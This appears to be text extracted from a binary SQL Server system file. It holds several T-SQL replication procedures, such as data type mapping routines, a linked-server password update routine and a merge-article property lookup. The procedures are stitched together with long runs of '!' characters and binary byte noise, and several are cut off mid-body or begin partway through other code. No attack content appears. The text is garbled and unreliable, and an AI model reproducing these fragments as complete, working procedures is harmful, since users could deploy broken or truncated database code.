		WHERE	dbms_id = @dbms_id
	)
	BEGIN
		-- Drop DBMS since there is nothing left
		DELETE FROM msdb.dbo.MSdbms
		WHERE dbms_id = @dbms_id
		
		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END
	END
	
	COMMIT TRAN
	RETURN (0)		
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<L3%|#"70\@ 8CREATE PROC sys.sp_help_spatial_geography_index_xml
(
	@tabname		NVARCHAR(776),		-- the TABLE to check for indexes
	@indexname		SYSNAME,		-- the INDEX name
	@verboseoutput	TINYINT,		-- OUTPUT all properties
	@query_sample	GEOGRAPHY,		-- query window object
	@xml_output		XML OUTPUT		-- XML variable to OUTPUT
)
AS
BEGIN
	EXEC sys.sp_help_spatial_geography_index_helper @tabname, @indexname, 1, @xml_output OUTPUT, @verboseoutput, @query_sample
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<=/$y0@ 8
--
-- Name:
--		sp_MSrepl_adddatatypemapping
--
-- Description:
--		Add source/destination data type mapping
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		Implicitly will create a DBMS map if it doesn't
--		currently exist.  DBMS types must exist before
--		adding a mapping.  If no default currently
--		exists, this is set as the default mapping
--

CREATE PROCEDURE sys.sp_MSrepl_adddatatypemapping
(
	@source_dbms				sysname,
	@source_version				varchar(10) = NULL,
	@source_type				sysname,
	@source_length_min			bigint = NULL,
	@source_length_max			bigint = NULL,
	@source_precision_min		bigint = NULL,
	@source_precision_max		bigint = NULL,
	@source_scale_min			int = NULL,
	@source_scale_max			int = NULL,
	@source_nullable			bit = NULL,
	@destination_dbms			sysname,
	@destination_version		varchar(10) = NULL,
	@destination_type			sysname,
	@destination_length			bigint = NULL,
	@destination_precision		bigint = NULL,
	@destination_scale			int = NULL,
	@destination_nullable		bit = NULL,
	@destination_createparams	int = NULL,
	@dataloss					bit = 0,
	@is_default					bit = 0
)
AS
BEGIN
	DECLARE @retcode				int
	DECLARE @src_dbms_id			int
	DECLARE @src_datatype_id		int
	DECLARE @dest_dbms_id			int
	DECLARE @dest_datatype_id		int
	DECLARE @map_id					int
	DECLARE @datatype_mapping_id	int
	
	-- Prepare dbms for case insensitive searches
	SET @source_dbms		= UPPER(@source_dbms)
	SET @destination_dbms	= UPPER(@destination_dbms)

    SET NOCOUNT ON
	set @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	-- Verify source length range
	IF @source_length_min > @source_length_max
	BEGIN
		RAISERROR(21771, 16, -1, 'Source length', @source_length_min, @source_length_max)
		RETURN (1)
	END

	-- Verify precision range
	IF @source_precision_min > @source_precision_max
	BEGIN
		RAISERROR(21771, 16, -1, 'Source precision', @source_precision_min, @source_precision_max)
		RETURN (1)
	END

	-- Verify scale range
	IF @source_scale_min > @source_scale_max
	BEGIN
		RAISERROR(21771, 16, -1, 'Source scale', @source_scale_min, @source_scale_max)
		RETURN (1)
	END
	
	-- Get source info
	EXEC @retcode = sys.sp_MSrepl_getdbmsinfo
					@dbms			= @source_dbms,
					@version		= @source_version,
					@type			= @source_type,
					@dbms_id		= @src_dbms_id OUTPUT,
					@datatype_id	= @src_datatype_id OUTPUT
					
	IF @retcode <> 0 OR @@ERROR <> 0
	BEGIN
		RETURN (@retcode)
	END

	-- Get destination info
	EXEC @retcode = sys.sp_MSrepl_getdbmsinfo
					@dbms			= @destination_dbms,
					@version		= @destination_version,
					@type			= @destination_type,
					@dbms_id		= @dest_dbms_id OUTPUT,
					@datatype_id	= @dest_datatype_id OUTPUT
					
	IF @retcode <> 0 OR @@ERROR <> 0
	BEGIN
		RETURN (@retcode)
	END

	BEGIN TRAN
	SAVE TRAN adddatatypemapping
	
	-- Verify that the mapping doesn't already exist
	IF EXISTS
	(
		SELECT	datatype_mapping_id
		FROM	msdb.dbo.MSdbms_map map,
				msdb.dbo.MSdbms_datatype_mapping dm
		WHERE	map.map_id			= dm.map_id
		  AND	map.src_dbms_id		= @src_dbms_id
		  AND	map.dest_dbms_id	= @dest_dbms_id
		  AND	map.src_datatype_id	= @src_datatype_id
		  AND	map.src_len_min		= @source_length_min
		  AND	map.src_len_max		= @source_length_max
		  AND	map.src_prec_min	= @source_precision_min
		  AND	map.src_prec_max	= @source_precision_max
		  AND	map.src_scale_min	= @source_scale_min
		  AND	map.src_scale_max	= @source_scale_max
		  AND	map.src_nullable	= @source_nullable
		  AND	dm.dest_datatype_id	= @dest_datatype_id
		  AND	dm.dest_length		= @destination_length
		  AND	dm.dest_precision	= @destination_precision
		  AND	dm.dest_scale		= @destination_scale
		  AND	dm.dest_nullable	= @destination_nullable
	)
	BEGIN
		RAISERROR(21657, 16, -1, @source_type)
		
		IF @@TRANCOUNT > 0
		BEGIN
			ROLLBACK TRAN adddatatypemapping
			COMMIT TRAN
		END
		RETURN (1)
	END
	
	-- Add source mapping if it doesn't exist
	SELECT	@map_id = map_id
	FROM	msdb.dbo.MSdbms_map
	WHERE	src_dbms_id		= @src_dbms_id
	  AND	dest_dbms_id	= @dest_dbms_id
	  AND	src_datatype_id	= @src_datatype_id
	  AND	src_len_min		= @source_length_min
	  AND	src_len_max		= @source_length_max
	  AND	src_prec_min	= @source_precision_min
	  AND	src_prec_max	= @source_precision_max
	  AND	src_scale_min	= @source_scale_min
	  AND	src_scale_max	= @source_scale_max
	  AND	src_nullable	= @source_nullable

	IF @map_id IS NULL OR @@ERROR <> 0
	BEGIN
		INSERT INTO msdb.dbo.MSdbms_map
		(
			src_dbms_id,
			dest_dbms_id,
			src_datatype_id,
			src_len_min,
			src_len_max,
			src_prec_min,
			src_prec_max,
			src_scale_min,
			src_scale_max,
			src_nullable
		)
		VALUES
		(
			@src_dbms_id,
			@dest_dbms_id,
			@src_datatype_id,
			@source_length_min,
			@source_length_max,
			@source_precision_min,
			@source_precision_max,
			@source_scale_min,
			@source_scale_max,
			@source_nullable
		)
		
		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION adddatatypemapping
				COMMIT TRAN
			END
			RETURN (1)
		END
		
		SELECT @map_id = IDENT_CURRENT('msdb.dbo.MSdbms_map')
	END
	
	-- Determine create params
	IF @destination_createparams IS NULL
	BEGIN
		SET @destination_createparams = 0

		IF @destination_precision IS NOT NULL
			SELECT @destination_createparams = @destination_createparams | 1

		IF @destination_scale IS NOT NULL
			SELECT @destination_createparams = @destination_createparams | 2

		IF @destination_length IS NOT NULL
			SELECT @destination_createparams = @destination_createparams | 4
	END
	
	-- Add data type mapping
	INSERT INTO msdb.dbo.MSdbms_datatype_mapping
	(
		map_id,
		dest_datatype_id,
		dest_length,
		dest_precision,
		dest_scale,
		dest_nullable,
		dest_createparams,
		dataloss
	)
	VALUES
	(
		@map_id,
		@dest_datatype_id,
		@destination_length,
		@destination_precision,
		@destination_scale,
		@destination_nullable,
		@destination_createparams,
		@dataloss
	)
	
	IF @@ERROR <> 0
	BEGIN
		IF @@TRANCOUNT > 0
		BEGIN
			ROLLBACK TRANSACTION adddatatypemapping
			COMMIT TRAN
		END
		RETURN (1)
	END
	
	SELECT @datatype_mapping_id = IDENT_CURRENT('msdb.dbo.MSdbms_datatype_mapping')

	IF NOT EXISTS
	(
		SELECT	map_id
		FROM	msdb.dbo.MSdbms_map
		WHERE	map_id = @map_id
		  AND	default_datatype_mapping_id IS NOT NULL
	) OR (@is_default = 1)
	BEGIN
		EXEC @retcode = sys.sp_MSrepl_setdefaultdatatype
						@map_id					= @map_id,
						@datatype_mapping_id	= @datatype_mapping_id
						
		IF @retcode <> 0 OR @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION adddatatypemapping
				COMMIT TRAN
			END
			RETURN (1)
		END
	END

	COMMIT TRAN
	RETURN (@retcode)		
END
0R D8|h
<8
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`u<0f0t6	@ 8CREATE PROCEDURE sys.sp_MSchangerepllinkedsrvrpassword
(
	@server 		sysname,
	@remote_login	sysname,
	@new_password	nvarchar(524),
	@server_type	sysname = N'MSSQLSERVER'
)
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @retcode		int
	DECLARE @server_name	sysname
	DECLARE @local_login	sysname

	-- only test the connection for hetero
	IF @server_type != N'MSSQLSERVER'
	BEGIN
		EXEC @retcode = sys.sp_MSrepl_testconnection
						@publisher_type = @server_type,
						@publisher		= @server,
						@security_mode	= 0,
						@login			= @remote_login,
						@password		= @new_password

		IF @@ERROR<>0 OR @retcode<>0
		BEGIN
			RAISERROR(21673, 16, -1, @server)
			RETURN (1)
		END
	END
	
	-- Update linked server login mappings
	CREATE TABLE #logins
	(
		server			sysname,
		login			sysname null,
		is_self 		bit,
		remote_login	sysname null
	)

	-- Get linked server logins
	IF @server = N'%'
	BEGIN
		insert into #logins
			exec sys.sp_helplinkedsrvlogin
	END
	ELSE
	BEGIN
		insert into #logins
			exec sys.sp_helplinkedsrvlogin @rmtsrvname = @server
	END

	DECLARE hLogins CURSOR FORWARD_ONLY FOR
	SELECT	server,
			login
	FROM	#logins
	WHERE	remote_login	= @remote_login
	and 	is_self 		= 0

	OPEN hLogins
	FETCH NEXT FROM hLogins INTO @server_name, @local_login
	WHILE (@@fetch_status = 0)
	BEGIN
		-- update linked server login mapping with new password
		EXEC @retcode = sys.sp_addlinkedsrvlogin	@rmtsrvname 	= @server_name,
													@useself		= 'false',
													@locallogin 	= @local_login,
													@rmtuser		= @remote_login,
													@rmtpassword	= @new_password

		IF @@error <> 0 OR @retcode <> 0  
		BEGIN
			RAISERROR(21674, 10, -1, @server_name, @local_login)
			CONTINUE
		END

		RAISERROR(21451, 10, -1, 'linked', 'server', @server_name, @remote_login) WITH LOG
		
		-- Get next login
		FETCH NEXT FROM hLogins INTO @server_name, @local_login
	END

	CLOSE hLogins
	DEALLOCATE hLogins
	DROP TABLE #logins

	RETURN 0
END
0N@ 8
--
-- Name:
--		sp_setdefaultdatatypemapping
--
-- Description:
--		Mark data type mapping as default
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		public
--
-- Notes:
--		Data type mapping must already exist to be marked
--		as the default
--

CREATE PROCEDURE sys.sp_setdefaultdatatypemapping
(
	@mapping_id				int = NULL,
	@source_dbms			sysname = NULL,
	@source_version			varchar(10) = NULL,
	@source_type			sysname = NULL,
	@source_length_min		bigint = NULL,
	@source_length_max		bigint = NULL,
	@source_precision_min	bigint = NULL,
	@source_precision_max	bigint = NULL,
	@source_scale_min		int = NULL,
	@source_scale_max		int = NULL,
	@source_nullable		bit = NULL,
	@destination_dbms		sysname = NULL,
	@destination_version	varchar(10) = NULL,
	@destination_type		sysname = NULL,
	@destination_length		bigint = NULL,
	@destination_precision	bigint = NULL,
	@destination_scale		int = NULL,
	@destination_nullable	bit = NULL
)
AS
BEGIN
	DECLARE @retcode				int
	DECLARE @src_dbms_id			int
	DECLARE @src_datatype_id		int
	DECLARE @dest_dbms_id			int
	DECLARE @dest_datatype_id		int
	DECLARE @map_id					int
	DECLARE @datatype_mapping_id	int
	
    SET NOCOUNT ON

	-- Prepare dbms for case insensitive searches
	SET @source_dbms		= UPPER(@source_dbms)
	SET @destination_dbms	= UPPER(@destination_dbms)

	set @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	-- Check parameters
	IF (@mapping_id IS NULL)
	BEGIN
		-- Require source dbms
		IF (@source_dbms IS NULL) OR (@source_dbms = N'')
		BEGIN
			RAISERROR(7801, 16, -1, 128, N'@source_dbms')
			RETURN (1)
		END

		-- Require source type
		IF (@source_type IS NULL) OR (@source_type = N'')
		BEGIN
			RAISERROR(7801, 16, -1, 128, N'@source_type')
			RETURN (1)
		END

		-- Require destination dbms
		IF (@destination_dbms IS NULL) OR (@destination_dbms = N'')
		BEGIN
			RAISERROR(7801, 16, -1, 128, N'@destination_dbms')
			RETURN (1)
		END

		-- Require destination type
		IF (@destination_type IS NULL) OR (@destination_type = N'')
		BEGIN
			RAISERROR(7801, 16, -1, 128, N'@destination_type')
			RETURN (1)
		END

		EXEC @retcode = sys.sp_MSrepl_getdbmsinfo
						@dbms			= @source_dbms,
						@version		= @source_version,
						@type			= @source_type,
						@dbms_id		= @src_dbms_id OUTPUT,
						@datatype_id	= @src_datatype_id OUTPUT

		IF @retcode <> 0 OR @@ERROR <> 0
		BEGIN
			RETURN (@retcode)
		END

		EXEC @retcode = sys.sp_MSrepl_getdbmsinfo
						@dbms			= @destination_dbms,
						@version		= @destination_version,
						@type			= @destination_type,
						@dbms_id		= @dest_dbms_id OUTPUT,
						@datatype_id	= @dest_datatype_id OUTPUT

		IF @retcode <> 0 OR @@ERROR <> 0
		BEGIN
			RETURN (@retcode)
		END
	END

	BEGIN TRAN
	SAVE TRAN setdefaultdatatypemapping

	IF (@mapping_id IS NULL)
	BEGIN
		-- Get source mapping
		SELECT	@map_id					= map.map_id,
				@datatype_mapping_id	= dm.datatype_mapping_id
		FROM	msdb.dbo.MSdbms_map map,
				msdb.dbo.MSdbms_datatype_mapping dm
		WHERE	map.map_id			= dm.map_id
		  AND	map.src_dbms_id		= @src_dbms_id
		  AND	map.dest_dbms_id	= @dest_dbms_id
		  AND	map.src_datatype_id	= @src_datatype_id
		  AND	map.src_len_min		= @source_length_min
		  AND	map.src_len_max		= @source_length_max
		  AND	map.src_prec_min	= @source_precision_min
		  AND	map.src_prec_max	= @source_precision_max
		  AND	map.src_scale_min	= @source_scale_min
		  AND	map.src_scale_max	= @source_scale_max
		  AND	map.src_nullable	= @source_nullable
		  AND	dm.dest_datatype_id	= @dest_datatype_id
		  AND	dm.dest_length		= @destination_length
		  AND	dm.dest_precision	= @destination_precision
		  AND	dm.dest_scale		= @destination_scale
		  AND	dm.dest_nullable	= @destination_nullable

		IF @map_id IS NULL OR @datatype_mapping_id IS NULL OR @@ERROR <> 0
		BEGIN
			RAISERROR (21656, 16, -1, @source_type)

			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION setdefaultdatatypemapping
				COMMIT TRAN
			END
			RETURN (1)
		END
	END
	ELSE
	BEGIN
		-- Set datatype mapping id
		SET @datatype_mapping_id = @mapping_id
		
		-- Get map id for specific data type mapping id
		SELECT	@map_id = dm.map_id
		FROM	msdb.dbo.MSdbms_datatype_mapping dm
		WHERE	datatype_mapping_id = @datatype_mapping_id

		IF @map_id IS NULL OR @datatype_mapping_id IS NULL OR @@ERROR <> 0
		BEGIN
			DECLARE @msg nvarchar(50)
			SELECT @msg = CONVERT(nvarchar(50), @mapping_id)
			RAISERROR (21656, 16, -1, @msg)

			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION setdefaultdatatypemapping
				COMMIT TRAN
			END
			RETURN (1)
		END
	END
	
	-- Set default
	EXEC @retcode = sys.sp_MSrepl_setdefaultdatatype
					@map_id					= @map_id,
					@datatype_mapping_id	= @datatype_mapping_id

	IF @retcode <> 0 OR @@ERROR <> 0
	BEGIN
		IF @@TRANCOUNT > 0
		BEGIN
			ROLLBACK TRANSACTION setdefaultdatatypemapping
			COMMIT TRAN
		END
		RETURN (@retcode)
	END
	
	COMMIT TRAN			
	RETURN (@retcode)		
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!l`
<u0;F 0 -8--
-- Name: fn_replcheckquotedname
--
-- Description: This helper function returns the len of a quoted identifier.
--	
--
-- Parameters: see fn definition
--
-- Returns: nchar(1) 
--
-- Notes: quote can be either empty, double quote, or bracket
--		
-- Security: not exposed to public
-- 
create function sys.fn_replcheckquotedname
(
@ddloffset nvarchar(max),
@identifier nvarchar(258)
)
returns int
as
begin
declare @len int
		,@quoted_identifier nvarchar(258)

if (substring(@ddloffset, 1, len(@identifier))) = @identifier
begin
	select @len = len(@identifier)
end
else
begin
	select @quoted_identifier = quotename(@identifier)
	if (substring(@ddloffset, 1, len(@quoted_identifier))) = @quoted_identifier
	begin
		select @len = len(@quoted_identifier)
	end
	else
	begin
		select @quoted_identifier = quotename(@identifier, '"')
		if (substring(@ddloffset, 1, len(@quoted_identifier))) = @quoted_identifier
		begin
			select @len = len(@quoted_identifier)
		end
	end
end
return @len

end
0#@ 8create procedure sys.sp_get_mergepublishedarticleproperties (
    @source_object 	sysname = NULL,          /* The name of the object */
    @source_owner 	sysname = NULL          /* The name of the owner of the object */
    ) AS

    SET NOCOUNT ON

    declare @retcode int
    /*
    ** Check for dbo permission
    */
    exec @retcode=sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0 
        return (1)


    /*
    ** Declarations.
    */

    declare @objid int
	declare @partition_options tinyint	

    IF object_id('sysmergearticles') is NULL
        RETURN (0)

    if @source_object IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@source_object', 'sp_get_mergepublishedarticleproperties')
        RETURN (1)
    END

	if @source_owner IS NULL
	    select @objid = object_id(quotename(@source_object))
	else
	    select @objid = object_id(quotename(@source_owner) + '.' + quotename(@source_object))

    if @objid is NULL
    	RETURN(0)
    	
    if object_id('sysmergepartitioninfo') is not NULL
    begin
        select top 1 @partition_options = smpi.partition_options
	    	from dbo.sysmergepartitioninfo as smpi join sysmergearticles as sma
		        on sma.artid = smpi.artid
		        and sma.pubid = smpi.pubid
     		where @objid = sma.objid
     		order by sma.pubid
    end

    select top 1
	column_tracking as column_tracking,
	schema_option as schema_option,
	vertical_partition as vertical_partition,
	identity_support as identity_support,
	upload_options as subscriber_upload_options,
	well_partitioned_lightweight as well_partitioned_lightweight,
	delete_tracking as delete_tracking,
	compensate_for_errors as compensate_for_errors,
	pub_range as pub_range,
	range as range,
	threshold as threshold,
	@partition_options as partition_options,
	stream_blob_columns as stream_blob_columns
    from dbo.sysmergearticles
    where @objid = objid
    order by pubid

    RETURN (0)
lock acquired, 0 is the time 
                                -- consumed to acquired this lock.
        else if @retcode = -1   -- AppLock is not available 
            select 0, 0         -- first 0 means lock not available, 
                                -- second column will be ignored.
        return (0)              -- OK
    end     

-- from now on, @return_immediately=0
-- if @queue_timeout=0, means waiting indefinitely
if @queue_timeout=0
    select @max_waiting = NULL
else
--otherwise convert to minisecond and pass it down.
    select @max_waiting = @queue_timeout * 1000


select @delay_time=0
select @entry_date=getdate()

-- First try to acquire EXCLUSIVE lock which signfies at front of queue.
-- i.e. I'm next.

exec @retcode=sys.sp_getapplock @process_name, @LockMode=N'Exclusive',
    @LockOwner=N'Session', @LockTimeout=@max_waiting, @DbPrincipal=@DbPrincipal

-- We shouldn't return from above until we have it 
-- RC should be either 0 (got immediately) or 1 (waited and got it eventually) or -1 (timed out); Exit on anything else.
-- We need value -1 because @LockTimeout value is no longer NULL, 
-- meaning waiting indefinitely. It is possible 
-- that we waited for a given length of time and timed out
IF (@retcode <> 0 and @retcode <> 1) and @retcode<>-1
    BEGIN
        RAISERROR(21413, 16, -1)
        RETURN(@retcode)
    END
    
-- Im-first lock is to be released after successfully 
-- obtained a slot lock later.
select @delay_time=datediff(ss, @entry_date, getdate())
if @retcode=-1
    select @lock_acquired=0
else
    select @lock_acquired=1

if @no_result = 0
begin
    select @lock_acquired, @delay_time
end

RETURN(0)
0%@ 8
create procedure sys.sp_MSgentablenickname
            @tablenick    int    output, @nickname int, @objid int
as

    declare @refcnt int
    declare @retval int
    
    /* Create a tablenickname from the following formula
    **        1.  Get the refcnt, use it for the high order digits so
    **            that processing inserts by ascending tablenickname works well
    **             and processing deletes by descending tablenickname works well.
    **        2.  Use a couple of digits from the nickname so that it is less likely
    **            to collide with tablenickname generated at another merge publisher.
    **        3.  Increment as necessary to make it unique within the publication and database.
    */
    exec @retval = sys.sp_MSrefcnt @objid, @refcnt output
    if @retval <> 0 return (1)

    if @nickname < 0
        set @nickname = 0 - @nickname

    /* the biggest value for int is 2147483647, we therefore use another algorithm when
    ** @refcnt is bigger than 200
    */
    if @refcnt < 200
    begin
        set @tablenick = 1000 * ((@refcnt * 10000) + (@nickname % 10000))
        while exists (select * from dbo.sysmergearticles where nickname = @tablenick)
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TABLE DM_TRAN_CURRENT_TRANSACTION)
02ؖ 8create function sys.fn_replgetbinary8hidword (
    @binary8_value binary(8)
    ) returns int
as
begin
    declare @hidword int
    select @hidword = convert(int, substring(@binary8_value, 1, 4))
    return @hidword
end
0m@ ~8create view sys.dm_os_cluster_properties
as
	select *
	from OpenRowset(TABLE FCI_CONFIGS)
0" 8
CREATE PROCEDURE sys.sp_IHaddarticle
(
	@article_id					int	OUTPUT,
	@table_id					int	OUTPUT,
	@fpublished					int	OUTPUT,
	@instance_id				int	OUTPUT,
    @publisher_id				int,
    @publisher                  sysname,
	@publisher_db				sysname,
	@publisher_type				sysname,
	@publisherserver			sysname,
	@article					sysname,
	@publication_id				smallint,
    @publication                sysname,
	@creation_script			nvarchar (255),
	@ins_cmd					nvarchar (255),
	@del_cmd					nvarchar (255),
	@upd_cmd					nvarchar (255),
    @filterid					int,
	@filter_clause				ntext,
	@precmdid					int,
	@status						tinyint,
	@typeid						int,
	@schema_option				varbinary(8),
	@source_owner  				sysname,
	@source_table  				sysname,
	@destination_owner			sysname,
	@destination_table			sysname,
	@vertical_partition			nchar(5) = 'false',
	@force_invalidate_snapshot	bit = 0,
	@objid						int,
	@sync_objid					int,
	@description				nvarchar(255),
	@use_default_datatypes		bit,
	@publisher_dbms                 sysname,
	@publisher_version              sysname
)
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @retcode            int
    DECLARE @name               nvarchar(255)
    DECLARE @owner              nvarchar(255)
    DECLARE @uniqueness         nvarchar(255)
    DECLARE @column_name        sysname
    DECLARE @table_name         sysname
    DECLARE @column_pos         int
    DECLARE @column_id          int
    DECLARE @constraint_id      int
    DECLARE @index_id           int

    -- Set publisher DBMS and version (for checking data types)
    IF @publisher_type NOT LIKE 'ORACLE%'
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END

    -- Default instance ID
    SET @instance_id = 1
        
    -----------------------------------------------------------------
    -- Populate IHarticles
    -- Temp table is created in sp_ORAgetcolumndata
    --   not making heterogeneous calls within transactions
    -----------------------------------------------------------------
